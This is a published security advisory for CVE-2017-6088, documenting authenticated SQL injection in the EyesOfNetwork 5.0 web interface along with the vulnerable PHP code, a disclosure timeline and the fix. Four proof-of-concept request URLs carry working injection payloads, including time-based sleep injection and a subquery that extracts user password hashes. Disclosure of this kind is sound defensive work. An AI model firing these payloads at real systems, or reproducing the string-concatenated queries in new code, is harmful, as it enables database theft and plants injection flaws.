[CVE-2017-6088] EON 5.0 Multiple SQL Injection

Description

EyesOfNetwork (« EON ») is an OpenSource network monitoring solution.

SQL injection (authenticated)

The Eonweb code does not correctly filter arguments, allowing authenticated users to inject arbitrary SQL requests.

CVE ID: CVE-2017-6088

Access Vector: remote

Security Risk: medium

Vulnerability: CWE-89

CVSS Base Score: 6.0

CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L

Proof of Concept 1 (root privileges)

The following HTTP request allows an attacker (connected as administrator) to dump the database contents using SQL injections inside either the bp_name or the display parameter. These requests are executed with MySQL root privileges.

https://eonweb.local/module/admin_bp/php/function_bp.php?action=list_process&bp_name=&display=%27or%271%27=%271

https://eonweb.local/module/admin_bp/php/function_bp.php?action=list_process&bp_name=%27or%271%27=%271&display=1

Vulnerable code

The vulnerable code can be found inside the module/monitoring_ged/ged_functions.php file, line 114:

function list_process($bp,$display,$bdd){
    $sql = "select name from bp where is_define = 1 and name!='".$bp."' and priority = '" . $display . "'";
    $req = $bdd->query($sql);
    $process = $req->fetchall();

    echo json_encode($process);
}

Proof of Concept 2

The following HTTP request allows an attacker to dump the database contents using SQL injections inside the type parameter:

https://eonweb.local/module/monitoring_ged/ajax.php?queue=active&type=1%27+AND+(SELECT+sleep(5))+AND+%271%27=%271&owner=&filter=equipment&search=&ok=on&warning=on&critical=on&unknown=on&daterange=&time_period=&ack_time=

Vulnerable code

The vulnerable code can be found inside the module/monitoring_ged/ajax.php file, line 64:

if($_GET["type"] == 0){
  $ged_where = "WHERE pkt_type_id!='0'";
} else {
  $ged_where = "WHERE pkt_type_id='".$_GET["type"]."'";
}
$gedsql_result1=sqlrequest($database_ged,"SELECT pkt_type_id,pkt_type_name FROM pkt_type $ged_where AND pkt_type_id<'100';");

Proof of Concept 3

The following HTTP request allows an attacker to dump the database contents using SQL injections inside the search parameter:

https://eonweb.local/module/monitoring_ged/ajax.php?queue=active&type=1&owner=&filter=equipment&search='+AND+(select+sleep(5))+AND+'1'='1&ok=on&warning=on&critical=on&unknown=on&daterange=&time_period=&ack_time=

Vulnerable code

The vulnerable code can be found inside the module/monitoring_ged/ged_functions.php file, line 129.

if($search != ""){
    $like = "";
    if( substr($search, 0, 1) === '*' ){
        $like .= "%";
    }
    $like .= trim($search, '*');
    if ( substr($search, -1) === '*' ) {
        $like .= "%";
    }

    $where_clause .= " AND $filter LIKE '$like'";
}

Proof of Concept 4

The following HTTP request allows an attacker to dump the database contents using SQL injections inside the equipment parameter:

https://eonweb.local/module/monitoring_ged/ged_actions.php?action=advancedFilterSearch&filter=(select+user_passwd+from+eonweb.users+limit 1)&queue=history

Vulnerable code

The vulnerable code can be found inside the module/monitoring_ged/ged_functions.php file, line 493:

$gedsql_result1=sqlrequest($database_ged,"SELECT pkt_type_id,pkt_type_name FROM pkt_type WHERE pkt_type_id!='0' AND pkt_type_id<'100';");


while($ged_type = mysqli_fetch_assoc($gedsql_result1)){
    $sql = "SELECT DISTINCT $filter FROM ".$ged_type["pkt_type_name"]."_queue_".$queue;

    $results = sqlrequest($database_ged, $sql);
    while($result = mysqli_fetch_array($results)){
        if( !in_array($result[$filter], $datas) && $result[$filter] != "" ){
            array_push($datas, $result[$filter]);
        }
    }
}

Timeline (dd/mm/yyyy)

• 01/10/2016 : Initial discovery.
• 09/10/2016 : Fisrt contact with vendor.
• 23/10/2016 : Technical details sent to the security contact.
• 27/10/2016 : Vendor akwnoledgement and first patching attempt.
• 16/02/2017 : New tests done on release candidate 5.1. Fix confirmed.
• 26/02/2017 : 5.1 release. Waiting for 2 weeks according to our repsonsible disclosure agreement.
• 14/03/2017 : Public disclosure.

Thank you to EON for the fast response.

Solution

Update to version 5.1.

Affected versions

• Version <= 5.0

Credits

• Nicolas SERRA n.serra@sysdream.com